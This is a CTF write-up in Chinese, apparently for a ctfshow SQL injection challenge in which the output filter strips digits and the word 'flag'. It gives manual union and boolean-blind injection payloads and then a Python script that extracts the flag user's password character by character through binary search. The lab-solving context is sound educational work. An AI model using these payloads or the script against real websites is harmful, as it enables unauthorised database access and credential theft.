1. 这里返回逻辑把flag数字都过滤了,那么编码的方法肯定不能用了,利用布尔盲注吧,先简单测一下
    ```shell

    看看有几列

    1’ order by 2—+

看看回显位,因为过滤了数字,肯定不能用数字进行回显了

-1’ union select ‘a’,’b’—+

爆数据库名字

-1’ union select database(),’b’—+

根据经验,表肯定是ctfshow_user4,这里因为有数字,肯定会被过滤,构造布尔盲注测试一下

-1’ union select if(ascii(substr((select database()),0,1))>97,’yes’,’no’),’b’—+

  1. 2. 这里写个脚本来跑
  2. ```python
  3. # -*- coding: utf-8 -*-
  4. '''
  5. @Time : 2021/7/23 11:07
  6. @Author : Seals6
  7. @File : web164.py
  8. @contact: 972480239@qq.com
  9. @blog: seals6.github.io
  10. -*- 功能说明 -*-
  11. -*- 更新说明 -*-
  12. '''
  13. import requests
  14. url="http://5272c169-2883-4fca-8822-f7dd6daa672f.challenge.ctf.show:8080/api/v4.php"
  15. i=0
  16. flag=""
  17. while True:
  18. i+=1
  19. max=128
  20. min=30
  21. while min<max:
  22. mid = (max + min) // 2
  23. payload="-1' union select 'a',if(ascii(substr((select group_concat(password) from ctfshow_user4 where username='flag'),%d,1))>%d,'yes','no') -- "%(i,mid)
  24. params = {"id": payload}
  25. r=requests.get(url=url,params=params)
  26. # print(r.url)
  27. if "yes" in r.text:
  28. # print(r.text)
  29. min=mid+1
  30. else:
  31. max=mid
  32. if min != 30:
  33. flag+=chr(min)
  34. else:
  35. break
  36. print(flag)